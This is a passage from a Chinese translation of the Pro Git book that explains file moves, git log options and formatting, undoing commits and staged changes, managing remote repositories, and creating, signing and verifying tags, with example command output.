之前的反斜杠 `\\`，因为 Git 有它自己的文件模式扩展匹配方式，所以我们不用 shell 来帮忙展开（译注：实际上不加反斜杠也可以运行，只不过按照 shell 扩展的话，仅仅删除指定目录下的文件而不会递归匹配。上面的例子本来就指定了目录，所以效果等同，但下面的例子就会用递归方式匹配，所以必须加反斜杠。）。此命令删除所有 `log/` 目录下扩展名为 `.log` 的文件。类似的比如：\n\n```shell\n$ git rm \\*~\n```\n\n会递归删除当前目录及其子目录中所有 `~` 结尾的文件。\n\n\n\n### 移动文件\n\n不像其他的 VCS 系统，Git 并不跟踪文件移动操作。如果在 Git 中重命名了某个文件，仓库中存储的元数据并不会体现出这是一次改名操作。不过 Git 非常聪明，它会推断出究竟发生了什么，至于具体是如何做到的，我们稍后再谈。\n\n既然如此，当你看到 Git 的 `mv` 命令时一定会困惑不已。要在 Git 中对文件改名，可以这么做：\n\n```shell\n$ git mv file_from file_to\n```\n\n它会恰如预期般正常工作。实际上，即便此时查看状态信息，也会明白无误地看到关于重命名操作的说明：\n\n```shell\n$ git mv README.txt README\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        renamed:    README.txt -> README\n```\n\n其实，运行 `git mv` 就相当于运行了下面三条命令：\n\n```shell\n$ mv README.txt README\n$ git rm README.txt\n$ git add README\n```\n\n如此分开操作，Git 也会意识到这是一次改名，所以不管何种方式都一样。当然，直接用 `git mv` 轻便得多，不过有时候用其他工具批处理改名的话，要记得在提交前删除老的文件名，再添加新的文件名。\n\n\n\n## 查看提交历史\n\n在提交了若干更新之后，又或者克隆了某个项目，想回顾下提交历史，可以使用 `git log` 命令查看。\n\n```Shell\n$ git log\ncommit ca82a6dff817ec66f44342007202690a93763949\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Mar 17 21:52:11 2008 -0700\n\n    changed the version number\n\ncommit 085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sat Mar 15 16:40:33 2008 -0700\n\n    removed unnecessary test code\n\ncommit a11bef06a3f659402fe7563abf99ad00de2209e6\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sat Mar 15 10:31:28 2008 -0700\n\n    first commit\n```\n\n\n\n默认不用任何参数的话，`git log` 会按提交时间列出所有的更新，最近的更新排在最上面。看到了吗，每次更新都有一个 SHA-1 校验和、作者的名字和电子邮件地址、提交时间，最后缩进一个段落显示提交说明。\n\n`git log` 有许多选项可以帮助你搜寻感兴趣的提交，接下来我们介绍些最常用的。\n\n我们常用 `-p` 选项展开显示每次提交的内容差异，用 `-2` 则仅显示最近的两次更新：\n\n\n\n```Shell\n$ git log -p -2\ncommit ca82a6dff817ec66f44342007202690a93763949\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Mar 17 21:52:11 2008 -0700\n\n    changed the version number\n\ndiff --git a/Rakefile b/Rakefile\nindex a874b73..8f94139 100644\n--- a/Rakefile\n+++ b/Rakefile\n@@ -5,5 +5,5 @@ require 'rake/gempackagetask'\n spec = Gem::Specification.new do |s|\n     s.name      =   \"simplegit\"\n-    s.version   =   \"0.1.0\"\n+    s.version   =   \"0.1.1\"\n     s.author    =   \"Scott Chacon\"\n     s.email     =   \"schacon@gee-mail.com\n\ncommit 085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sat Mar 15 16:40:33 2008 -0700\n\n    removed unnecessary test code\n\ndiff --git a/lib/simplegit.rb b/lib/simplegit.rb\nindex a0a60ae..47c6340 100644\n--- a/lib/simplegit.rb\n+++ b/lib/simplegit.rb\n@@ -18,8 +18,3 @@ class SimpleGit\n     end\n\n end\n-\n-if $0 == __FILE__\n-  git = SimpleGit.new\n-  puts git.show\n-end\n\\ No newline at end of file\n\n```\n\n\n\n该选项除了显示基本信息之外，还在附带了每次 commit 的变化。当进行代码审查，或者快速浏览某个搭档提交的 commit 的变化的时候，这个参数就非常有用了。\n\n某些时候，单词层面的对比，比行层面的对比，更加容易观察。Git 提供了 `--word-diff` 选项。我们可以将其添加到 `git log -p` 命令的后面，从而获取单词层面上的对比。在程序代码中进行单词层面的对比常常是没什么用的。不过当你需要在书籍、论文这种很大的文本文件上进行对比的时候，这个功能就显出用武之地了。下面是一个简单的例子：\n\n```shell\n$ git log -U1 --word-diff\ncommit ca82a6dff817ec66f44342007202690a93763949\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Mar 17 21:52:11 2008 -0700\n\n    changed the version number\n\ndiff --git a/Rakefile b/Rakefile\nindex a874b73..8f94139 100644\n--- a/Rakefile\n+++ b/Rakefile\n@@ -7,3 +7,3 @@ spec = Gem::Specification.new do |s|\n    s.name      =   \"simplegit\"\n    s.version   =   [-\"0.1.0\"-]{+\"0.1.1\"+}\n    s.author    =   \"Scott Chacon\"\n```\n\n\n\n如你所见，这里并没有平常看到的添加行或者删除行的信息。这里的对比显示在行间。新增加的单词被 `{+ +}` 括起来，被删除的单词被 `[- -]` 括起来。在进行单词层面的对比的时候，你可能希望上下文（ context ）行数从默认的 3 行，减为 1 行，那么可以使用 `-U1` 选项。上面的例子中，我们就使用了这个选项。\n\n另外，`git log` 还提供了许多摘要选项可以用，比如 `--stat`，仅显示简要的增改行数统计：\n\n```\n$ git log --stat\ncommit ca82a6dff817ec66f44342007202690a93763949\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Mar 17 21:52:11 2008 -0700\n\n    changed the version number\n\n Rakefile |    2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)\n\ncommit 085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sat Mar 15 16:40:33 2008 -0700\n\n    removed unnecessary test code\n\n lib/simplegit.rb |    5 -----\n 1 file changed, 5 deletions(-)\n\ncommit a11bef06a3f659402fe7563abf99ad00de2209e6\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sat Mar 15 10:31:28 2008 -0700\n\n    first commit\n\n README           |    6 ++++++\n Rakefile         |   23 +++++++++++++++++++++++\n lib/simplegit.rb |   25 +++++++++++++++++++++++++\n 3 files changed, 54 insertions(+)\n```\n\n每个提交都列出了修改过的文件，以及其中添加和移除的行数，并在最后列出所有增减行数小计。 还有个常用的 `--pretty` 选项，可以指定使用完全不同于默认格式的方式展示提交历史。比如用 `oneline` 将每个提交放在一行显示，这在提交数很大时非常有用。另外还有 `short`，`full` 和 `fuller` 可以用，展示的信息或多或少有些不同，请自己动手实践一下看看效果如何。\n\n```\n$ git log --pretty=oneline\nca82a6dff817ec66f44342007202690a93763949 changed the version number\n085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7 removed unnecessary test code\na11bef06a3f659402fe7563abf99ad00de2209e6 first commit\n```\n\n但最有意思的是 `format`，可以定制要显示的记录格式，这样的输出便于后期编程提取分析，像这样：\n\n```\n$ git log --pretty=format:\"%h - %an, %ar : %s\"\nca82a6d - Scott Chacon, 11 months ago : changed the version number\n085bb3b - Scott Chacon, 11 months ago : removed unnecessary test code\na11bef0 - Scott Chacon, 11 months ago : first commit\n```\n\n表 2-1 列出了常用的格式占位符写法及其代表的意义。\n\n<!-- Attention to translators: this is a table declaration. The lines must be formatted as follows <TAB><First column text><TAB><Second column text> -->\n\n```\n选项\t 说明\n%H\t提交对象（commit）的完整哈希字串\n%h\t提交对象的简短哈希字串\n%T\t树对象（tree）的完整哈希字串\n%t\t树对象的简短哈希字串\n%P\t父对象（parent）的完整哈希字串\n%p\t父对象的简短哈希字串\n%an\t作者（author）的名字\n%ae\t作者的电子邮件地址\n%ad\t作者修订日期（可以用 -date= 选项定制格式）\n%ar\t作者修订日期，按多久以前的方式显示\n%cn\t提交者(committer)的名字\n%ce\t提交者的电子邮件地址\n%cd\t提交日期\n%cr\t提交日期，按多久以前的方式显示\n%s\t提交说明\n```\n\n你一定奇怪*作者（author）*和*提交者（committer）*之间究竟有何差别，其实作者指的是实际作出修改的人，提交者指的是最后将此工作成果提交到仓库的人。所以，当你为某个项目发布补丁，然后某个核心成员将你的补丁并入项目时，你就是作者，而那个核心成员就是提交者。我们会在第五章再详细介绍两者之间的细微差别。\n\n\n\n用 oneline 或 format 时结合 `--graph` 选项，可以看到开头多出一些 ASCII 字符串表示的简单图形，形象地展示了每个提交所在的分支及其分化衍合情况。在我们之前提到的 Grit 项目仓库中可以看到：\n\n```\n$ git log --pretty=format:\"%h %s\" --graph\n* 2d3acf9 ignore errors from SIGCHLD on trap\n*  5e3ee11 Merge branch 'master' of git://github.com/dustin/grit\n|\\\n| * 420eac9 Added a method for getting the current branch.\n* | 30e367c timeout code and tests\n* | 5a09431 add timeout protection to grit\n* | e1193f8 support for heads with slashes in them\n|/\n* d6016bc require time for xmlschema\n*  11d191e Merge branch 'defunkt' into local\n```\n\n以上只是简单介绍了一些 `git log` 命令支持的选项。表 2-2 还列出了一些其他常用的选项及其释义。\n\n\n\n<!-- Attention to translators: this is a table declaration. The lines must be formatted as follows <TAB><First column text><TAB><Second column text> -->\n\n```shell\n选项\t说明\n-p\t按补丁格式显示每个更新之间的差异。\n--word-diff\t按 word diff 格式显示差异。\n--stat\t显示每次更新的文件修改统计信息。\n--shortstat\t只显示 --stat 中最后的行数修改添加移除统计。\n--name-only\t仅在提交信息后显示已修改的文件清单。\n--name-status\t显示新增、修改、删除的文件清单。\n--abbrev-commit\t仅显示 SHA-1 的前几个字符，而非所有的 40 个字符。\n--relative-date\t使用较短的相对时间显示（比如，“2 weeks ago”）。\n--graph\t显示 ASCII 图形表示的分支合并历史。\n--pretty\t使用其他格式显示历史提交信息。可用的选项包括 oneline，short，full，fuller 和 format（后跟指定格式）。\n--oneline\t`--pretty=oneline --abbrev-commit` 的简化用法。\n```\n\n\n\n![树形图](https://ws3.sinaimg.cn/large/006tKfTcly1fjsbwkyek6j30sw1jkaet.jpg)\n\n\n\n### 限制输出长度\n\n\n\n除了定制输出格式的选项之外，`git log` 还有许多非常实用的限制输出长度的选项，也就是只输出部分提交信息。之前我们已经看到过 `-2` 了，它只显示最近的两条提交，实际上，这是 `-<n>` 选项的写法，其中的 `n` 可以是任何自然数，表示仅显示最近的若干条提交。不过实践中我们是不太用这个选项的，Git 在输出所有提交时会自动调用分页程序（less），要看更早的更新只需翻到下页即可。\n\n另外还有按照时间作限制的选项，比如 `--since` 和 `--until`。下面的命令列出所有最近两周内的提交：\n\n```\n$ git log --since=2.weeks\n```\n\n你可以给出各种时间格式，比如说具体的某一天（“2008-01-15”），或者是多久以前（“2 years 1 day 3 minutes ago”）。\n\n还可以给出若干搜索条件，列出符合的提交。用 `--author` 选项显示指定作者的提交，用 `--grep` 选项搜索提交说明中的关键字。（请注意，如果要得到同时满足这两个选项搜索条件的提交，就必须用 `--all-match` 选项。否则，满足任意一个条件的提交都会被匹配出来）\n\n另一个真正实用的`git log`选项是路径(path)，如果只关心某些文件或者目录的历史提交，可以在 `git log` 选项的最后指定它们的路径。因为是放在最后位置上的选项，所以用两个短划线（`--`）隔开之前的选项和后面限定的路径名。\n\n表 2-3 还列出了其他常用的类似选项。\n\n<!-- Attention to translators: this is a table declaration. The lines must be formatted as follows <TAB><First column text><TAB><Second column text> -->\n\n```\n选项\t说明\n-(n)\t仅显示最近的 n 条提交\n--since, --after\t仅显示指定时间之后的提交。\n--until, --before\t仅显示指定时间之前的提交。\n--author\t仅显示指定作者相关的提交。\n--committer\t仅显示指定提交者相关的提交。\n```\n\n来看一个实际的例子，如果要查看 Git 仓库中，2008 年 10 月期间，Junio Hamano 提交的但未合并的测试脚本（位于项目的 t/ 目录下的文件），可以用下面的查询命令：\n\n```\n$ git log --pretty=\"%h - %s\" --author=gitster --since=\"2008-10-01\" \\\n   --before=\"2008-11-01\" --no-merges -- t/\n5610e3b - Fix testcase failure when extended attribute\nacd3b9e - Enhance hold_lock_file_for_{update,append}()\nf563754 - demonstrate breakage of detached checkout wi\nd1a43f2 - reset --hard/read-tree --reset -u: remove un\n51a94af - Fix \"checkout --track -b newbranch\" on detac\nb0ad11e - pull: allow \"git pull origin $something:$cur\n```\n\nGit 项目有 20,000 多条提交，但我们给出搜索选项后，仅列出了其中满足条件的 6 条。\n\n\n\n### 使用图形化工具查阅提交历史\n\n\n\n![](https://ws4.sinaimg.cn/large/006tKfTcly1fjsc0kkvn4j31kw115aip.jpg)\n\n\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fjsc20g0s0j31kw15njxn.jpg)\n\n\n\n## 撤消操作\n\n任何时候，你都有可能需要撤消刚才所做的某些操作。接下来，我们会介绍一些基本的撤消操作相关的命令。请注意，有些撤销操作是不可逆的，所以请务必谨慎小心，一旦失误，就有可能丢失部分工作成果。\n\n### 修改最后一次提交\n\n有时候我们提交完了才发现漏掉了几个文件没有加，或者提交信息写错了。想要撤消刚才的提交操作，可以使用 `--amend` 选项重新提交：\n\n```Shell\n$ git commit --amend\n```\n\n此命令将使用当前的暂存区域快照提交。如果刚才提交完没有作任何改动，直接运行此命令的话，相当于有机会重新编辑提交说明，但将要提交的文件快照和之前的一样。\n\n启动文本编辑器后，会看到上次提交时的说明，编辑它确认没问题后保存退出，就会使用新的提交说明覆盖刚才失误的提交。\n\n如果刚才提交时忘了暂存某些修改，可以先补上暂存操作，然后再运行 `--amend` 提交：\n\n```shell\n$ git commit -m 'initial commit'\n$ git add forgotten_file\n$ git commit --amend\n```\n\n上面的三条命令最终只是产生一个提交，第二个提交命令修正了第一个的提交内容。\n\n\n\n### 取消已经暂存的文件\n\n接下来的两个小节将演示如何取消暂存区域中的文件，以及如何取消工作目录中已修改的文件。不用担心，查看文件状态的时候就提示了该如何撤消，所以不需要死记硬背。来看下面的例子，有两个修改过的文件，我们想要分开提交，但不小心用 `git add .` 全加到了暂存区域。该如何撤消暂存其中的一个文件呢？其实，`git status` 的命令输出已经告诉了我们该怎么做：\n\n```shell\n$ git add .\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   README.txt\n        modified:   benchmarks.rb\n```\n\n就在 “Changes to be committed” 下面，括号中有提示，可以使用 `git reset HEAD <file>...` 的方式取消暂存。好吧，我们来试试取消暂存 benchmarks.rb 文件：\n\n```shell\n$ git reset HEAD benchmarks.rb\nUnstaged changes after reset:\nM       benchmarks.rb\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   README.txt\n\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n```\n\n\n\n### 取消对文件的修改\n\n如果觉得刚才对 benchmarks.rb 的修改完全没有必要，该如何取消修改，回到之前的状态（也就是修改之前的版本）呢？`git status` 同样提示了具体的撤消方法，接着上面的例子，现在未暂存区域看起来像这样：\n\n```\nChanges not staged for commit:\n  (use \"git add <file>...\" to update what will be committed)\n  (use \"git checkout -- <file>...\" to discard changes in working directory)\n\n        modified:   benchmarks.rb\n```\n\n在第二个括号中，我们看到了抛弃文件修改的命令（至少在 Git 1.6.1 以及更高版本中会这样提示，如果你还在用老版本，我们强烈建议你升级，以获取最佳的用户体验），让我们试试看：\n\n```\n$ git checkout -- benchmarks.rb\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   README.txt\n```\n\n可以看到，该文件已经恢复到修改前的版本。你可能已经意识到了，这条命令有些危险，所有对文件的修改都没有了，因为我们刚刚把之前版本的文件复制过来重写了此文件。所以在用这条命令前，请务必确定真的不再需要保留刚才的修改。如果只是想回退版本，同时保留刚才的修改以便将来继续工作，可以用下章介绍的 stashing 和分支来处理，应该会更好些。\n\n记住，任何已经提交到 Git 的都可以被恢复。即便在已经删除的分支中的提交，或者用 `--amend` 重新改写的提交，都可以被恢复。所以，你可能失去的数据，仅限于没有提交过的，对 Git 来说它们就像从未存在过一样。\n\n\n\n## 远程仓库的使用\n\n要参与任何一个 Git 项目的协作，必须要了解该如何管理远程仓库。远程仓库是指托管在网络上的项目仓库，可能会有好多个，其中有些你只能读，另外有些可以写。同他人协作开发某个项目时，需要管理这些远程仓库，以便推送或拉取数据，分享各自的工作进展。 管理远程仓库的工作，包括添加远程库，移除废弃的远程库，管理各式远程库分支，定义是否跟踪这些分支，等等。本节我们将详细讨论远程库的管理和使用。\n\n\n\n### 查看当前的远程库\n\n要查看当前配置有哪些远程仓库，可以用 `git remote` 命令，它会列出每个远程库的简短名字。在克隆完某个项目后，至少可以看到一个名为 origin 的远程库，Git 默认使用这个名字来标识你所克隆的原始仓库：\n\n```shell\n$ git clone git://github.com/schacon/ticgit.git\nCloning into 'ticgit'...\nremote: Reusing existing pack: 1857, done.\nremote: Total 1857 (delta 0), reused 0 (delta 0)\nReceiving objects: 100% (1857/1857), 374.35 KiB | 193.00 KiB/s, done.\nResolving deltas: 100% (772/772), done.\nChecking connectivity... done.\n$ cd ticgit\n$ git remote\norigin\n```\n\n也可以加上 `-v` 选项（译注：此为 `--verbose` 的简写，取首字母），显示对应的克隆地址：\n\n```shell\n$ git remote -v\norigin  git://github.com/schacon/ticgit.git (fetch)\norigin  git://github.com/schacon/ticgit.git (push)\n```\n\n\n\n如果有多个远程仓库，此命令将全部列出。比如在我的 Grit 项目中，可以看到：\n\n```\n$ cd grit\n$ git remote -v\nbakkdoor  git://github.com/bakkdoor/grit.git\ncho45     git://github.com/cho45/grit.git\ndefunkt   git://github.com/defunkt/grit.git\nkoke      git://github.com/koke/grit.git\norigin    git@github.com:mojombo/grit.git\n```\n\n这样一来，我就可以非常轻松地从这些用户的仓库中，拉取他们的提交到本地。请注意，上面列出的地址只有 origin 用的是 SSH URL 链接，所以也只有这个仓库我能推送数据上去（我们会在第四章解释原因）。\n\n\n\n### 添加远程仓库\n\n要添加一个新的远程仓库，可以指定一个简单的名字，以便将来引用，运行 `git remote add [shortname] [url]`：\n\n```\n$ git remote\norigin\n$ git remote add pb git://github.com/paulboone/ticgit.git\n$ git remote -v\norigin\tgit://github.com/schacon/ticgit.git\npb\tgit://github.com/paulboone/ticgit.git\n```\n\n现在可以用字符串 `pb` 指代对应的仓库地址了。比如说，要抓取所有 Paul 有的，但本地仓库没有的信息，可以运行 `git fetch pb`：\n\n```\n$ git fetch pb\nremote: Counting objects: 58, done.\nremote: Compressing objects: 100% (41/41), done.\nremote: Total 44 (delta 24), reused 1 (delta 0)\nUnpacking objects: 100% (44/44), done.\nFrom git://github.com/paulboone/ticgit\n * [new branch]      master     -> pb/master\n * [new branch]      ticgit     -> pb/ticgit\n```\n\n现在，Paul 的主干分支（master）已经完全可以在本地访问了，对应的名字是 `pb/master`，你可以将它合并到自己的某个分支，或者切换到这个分支，看看有些什么有趣的更新。\n\n\n\n### 从远程仓库抓取数据\n\n正如之前所看到的，可以用下面的命令从远程仓库抓取数据到本地：\n\n```\n$ git fetch [remote-name]\n```\n\n此命令会到远程仓库中拉取所有你本地仓库中还没有的数据。运行完成后，你就可以在本地访问该远程仓库中的所有分支，将其中某个分支合并到本地，或者只是取出某个分支，一探究竟。（我们会在第三章详细讨论关于分支的概念和操作。）\n\n如果是克隆了一个仓库，此命令会自动将远程仓库归于 origin 名下。所以，`git fetch origin` 会抓取从你上次克隆以来别人上传到此远程仓库中的所有更新（或是上次 fetch 以来别人提交的更新）。有一点很重要，需要记住，fetch 命令只是将远端的数据拉到本地仓库，并不自动合并到当前工作分支，只有当你确实准备好了，才能手工合并。\n\n如果设置了某个分支用于跟踪某个远端仓库的分支（参见下节及第三章的内容），可以使用 `git pull` 命令自动抓取数据下来，然后将远端分支自动合并到本地仓库中当前分支。在日常工作中我们经常这么用，既快且好。实际上，默认情况下 `git clone` 命令本质上就是自动创建了本地的 master 分支用于跟踪远程仓库中的 master 分支（假设远程仓库确实有 master 分支）。所以一般我们运行 `git pull`，目的都是要从原始克隆的远端仓库中抓取数据后，合并到工作目录中的当前分支。\n\n\n\n### 推送数据到远程仓库\n\n项目进行到一个阶段，要同别人分享目前的成果，可以将本地仓库中的数据推送到远程仓库。实现这个任务的命令很简单： `git push [remote-name] [branch-name]`。如果要把本地的 master 分支推送到 `origin` 服务器上（再次说明下，克隆操作会自动使用默认的 master 和 origin 名字），可以运行下面的命令：\n\n```shell\n$ git push origin master\n```\n\n只有在所克隆的服务器上有写权限，或者同一时刻没有其他人在推数据，这条命令才会如期完成任务。如果在你推数据前，已经有其他人推送了若干更新，那你的推送操作就会被驳回。你必须先把他们的更新抓取到本地，合并到自己的项目中，然后才可以再次推送。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fjserpnkpmj30x20xg74p.jpg)\n\n### 查看远程仓库信息\n\n我们可以通过命令 `git remote show [remote-name]` 查看某个远程仓库的详细信息，比如要看所克隆的 `origin` 仓库，可以运行：\n\n```shell\n$ git remote show origin\n* remote origin\n  URL: git://github.com/schacon/ticgit.git\n  Remote branch merged with 'git pull' while on branch master\n    master\n  Tracked remote branches\n    master\n    ticgit\n```\n\n除了对应的克隆地址外，它还给出了许多额外的信息。它友善地告诉你如果是在 master 分支，就可以用 `git pull` 命令抓取数据合并到本地。另外还列出了所有处于跟踪状态中的远端分支。\n\n上面的例子非常简单，而随着使用 Git 的深入，`git remote show` 给出的信息可能会像这样：\n\n```shell\n$ git remote show origin\n* remote origin\n  URL: git@github.com:defunkt/github.git\n  Remote branch merged with 'git pull' while on branch issues\n    issues\n  Remote branch merged with 'git pull' while on branch master\n    master\n  New remote branches (next fetch will store in remotes/origin)\n    caching\n  Stale tracking branches (use 'git remote prune')\n    libwalker\n    walker2\n  Tracked remote branches\n    acl\n    apiv2\n    dashboard2\n    issues\n    master\n    postgres\n  Local branch pushed with 'git push'\n    master:master\n```\n\n它告诉我们，运行 `git push` 时缺省推送的分支是什么（译注：最后两行）。它还显示了有哪些远端分支还没有同步到本地（译注：第六行的 `caching` 分支），哪些已同步到本地的远端分支在远端服务器上已被删除（译注：`Stale tracking branches` 下面的两个分支），以及运行 `git pull` 时将自动合并哪些分支（译注：前四行中列出的 `issues` 和 `master` 分支）。\n\n\n\n### 远程仓库的删除和重命名\n\n在新版 Git 中可以用 `git remote rename` 命令修改某个远程仓库在本地的简称，比如想把 `pb` 改成 `paul`，可以这么运行：\n\n```shell\n$ git remote rename pb paul\n$ git remote\norigin\npaul\n```\n\n注意，对远程仓库的重命名，也会使对应的分支名称发生变化，原来的 `pb/master` 分支现在成了 `paul/master`。\n\n碰到远端仓库服务器迁移，或者原来的克隆镜像不再使用，又或者某个参与者不再贡献代码，那么需要移除对应的远端仓库，可以运行 `git remote rm` 命令：\n\n```shell\n$ git remote rm paul\n$ git remote\norigin\n```\n\n\n\n## 打标签\n\n同大多数 VCS 一样，Git 也可以对某一时间点上的版本打上标签。人们在发布某个软件版本（比如 v1.0 等等）的时候，经常这么做。本节我们一起来学习如何列出所有可用的标签，如何新建标签，以及各种不同类型标签之间的差别。\n\n### 列显已有的标签\n\n列出现有标签的命令非常简单，直接运行 `git tag` 即可：\n\n```\n$ git tag\nv0.1\nv1.3\n```\n\n显示的标签按字母顺序排列，所以标签的先后并不表示重要程度的轻重。\n\n我们可以用特定的搜索模式列出符合条件的标签。在 Git 自身项目仓库中，有着超过 240 个标签，如果你只对 1.4.2 系列的版本感兴趣，可以运行下面的命令：\n\n```java\n$ git tag -l 'v1.4.2.*'\nv1.4.2.1\nv1.4.2.2\nv1.4.2.3\nv1.4.2.4\n```\n\n\n\n### 新建标签\n\nGit 使用的标签有两种类型：轻量级的（lightweight）和含附注的（annotated）。轻量级标签就像是个不会变化的分支，实际上它就是个指向特定提交对象的引用。而含附注标签，实际上是存储在仓库中的一个独立对象，它有自身的校验和信息，包含着标签的名字，电子邮件地址和日期，以及标签说明，标签本身也允许使用 GNU Privacy Guard (GPG) 来签署或验证。一般我们都建议使用含附注型的标签，以便保留相关信息；当然，如果只是临时性加注标签，或者不需要旁注额外信息，用轻量级标签也没问题。\n\n\n\n### 含附注的标签\n\n创建一个含附注类型的标签非常简单，用 `-a` （译注：取 `annotated` 的首字母）指定标签名字即可：\n\n```Shell\n$ git tag -a v1.4 -m 'my version 1.4'\n$ git tag\nv0.1\nv1.3\nv1.4\n```\n\n\n\n而 `-m` 选项则指定了对应的标签说明，Git 会将此说明一同保存在标签对象中。如果没有给出该选项，Git 会启动文本编辑软件供你输入标签说明。\n\n可以使用 `git show` 命令查看相应标签的版本信息，并连同显示打标签时的提交对象。\n\n```shell\n$ git show v1.4\ntag v1.4\nTagger: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Feb 9 14:45:11 2009 -0800\n\nmy version 1.4\n\ncommit 15027957951b64cf874c3557a0f3547bd83b3ff6\nMerge: 4a447f7... a6b4c97...\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sun Feb 8 19:02:46 2009 -0800\n\n    Merge branch 'experiment'\n```\n\n\n\n我们可以看到在提交对象信息上面，列出了此标签的提交者和提交时间，以及相应的标签说明。\n\n### 签署标签\n\n如果你有自己的私钥，还可以用 GPG 来签署标签，只需要把之前的 `-a` 改为 `-s` （译注： 取 `signed` 的首字母）即可：\n\n```\n$ git tag -s v1.5 -m 'my signed 1.5 tag'\nYou need a passphrase to unlock the secret key for\nuser: \"Scott Chacon <schacon@gee-mail.com>\"\n1024-bit DSA key, ID F721C45A, created 2009-02-09\n```\n\n现在再运行 `git show` 会看到对应的 GPG 签名也附在其内：\n\n```\n$ git show v1.5\ntag v1.5\nTagger: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Feb 9 15:22:20 2009 -0800\n\nmy signed 1.5 tag\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.8 (Darwin)\n\niEYEABECAAYFAkmQurIACgkQON3DxfchxFr5cACeIMN+ZxLKggJQf0QYiQBwgySN\nKi0An2JeAVUCAiJ7Ox6ZEtK+NvZAj82/\n=WryJ\n-----END PGP SIGNATURE-----\ncommit 15027957951b64cf874c3557a0f3547bd83b3ff6\nMerge: 4a447f7... a6b4c97...\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sun Feb 8 19:02:46 2009 -0800\n\n    Merge branch 'experiment'\n```\n\n\n\n### 轻量级标签\n\n轻量级标签实际上就是一个保存着对应提交对象的校验和信息的文件。要创建这样的标签，一个 `-a`，`-s` 或 `-m` 选项都不用，直接给出标签名字即可：\n\n```\n$ git tag v1.4-lw\n$ git tag\nv0.1\nv1.3\nv1.4\nv1.4-lw\nv1.5\n```\n\n现在运行 `git show` 查看此标签信息，就只有相应的提交对象摘要：\n\n```\n$ git show v1.4-lw\ncommit 15027957951b64cf874c3557a0f3547bd83b3ff6\nMerge: 4a447f7... a6b4c97...\nAuthor: Scott Chacon <schacon@gee-mail.com>\nDate:   Sun Feb 8 19:02:46 2009 -0800\n\n    Merge branch 'experiment'\n```\n\n### 验证标签\n\n可以使用 `git tag -v [tag-name]` （译注：取 `verify` 的首字母）的方式验证已经签署的标签。此命令会调用 GPG 来验证签名，所以你需要有签署者的公钥，存放在 keyring 中，才能验证：\n\n```\n$ git tag -v v1.4.2.1\nobject 883653babd8ee7ea23e6a5c392bb739348b1eb61\ntype commit\ntag v1.4.2.1\ntagger Junio C Hamano <junkio@cox.net> 1158138501 -0700\n\nGIT 1.4.2.1\n\nMinor fixes since 1.4.2, including git-mv and git-http with alternates.\ngpg: Signature made Wed Sep 13 02:08:25 2006 PDT using DSA key ID F3119B9A\ngpg: Good signature from \"Junio C Hamano <junkio@cox.net>\"\ngpg:                 aka \"[jpeg image of size 1513]\"\nPrimary key fingerprint: 3565 2A26 2040 E066 C9A7  4A7D C0C6 D9A4 F311 9B9A\n```\n\n若是没有签署者的公钥，会报告类似下面这样的错误：\n\n```\ngpg: Signature made Wed Sep 13 02:08:25 2006 PDT using DSA key ID F3119B9A\ngpg: Can't check signature: public key not found\nerror: could not verify the tag 'v1.4.2.1'\n```\n\n### 后期加注标签\n\n你甚至可以在后期对早先的某次提交加注标签。比如在下面展示的提交历史中：\n\n```\n$ git log --pretty=oneline\n15027957951b64cf874c3557a0f3547bd83b3ff6 Merge branch 'experiment'\na6b4c97498bd301d84096da251c98a07c7723e65 beginning write support\n0d52aaab4479697da7686c15f77a3d64d9165190 one more thing\n6d52a271eda8725415634dd79daabbc4d9b6008e Merge branch 'experiment'\n0b7434d86859cc7b8c3d5e1dddfed66ff742fcbc added a commit function\n4682c3261057305bdd616e23b64b0857d832627b added a todo file\n166ae0c4d3f420721acbb115cc33848dfcc2121a started write support\n9fceb02d0ae598e95dc970b74767f19372d61af8 updated rakefile\n964f16d36dfccde844893cac5b347e7b3d44abbc commit the todo\n8a5cbc430f1a9c3d00faaeffd07798508422908a updated readme\n```\n\n我们忘了在提交 “updated rakefile” 后为此项目打上版本号 v1.2，没关系，现在也能做。只要在打标签的时候跟上对应提交对象的校验和（或前几位字符）即可：\n\n```\n$ git tag -a v1.2 9fceb02\n```\n\n可以看到我们已经补上了标签：\n\n```\n$ git tag\nv0.1\nv1.2\nv1.3\nv1.4\nv1.4-lw\nv1.5\n\n$ git show v1.2\ntag v1.2\nTagger: Scott Chacon <schacon@gee-mail.com>\nDate:   Mon Feb 9 15:32:16 2009 -0800\n\nversion 1.2\ncommit 9fceb02d0ae598e95dc970b74767f19372d61af8\nAuthor: Magnus Chacon <mchacon@gee-mail.com>\nDate:   Sun Apr 27 20:43:35 2008 -0700\n\n    updated rakefile\n...\n```\n\n### 分享标签\n\n默认情况下，`git push` 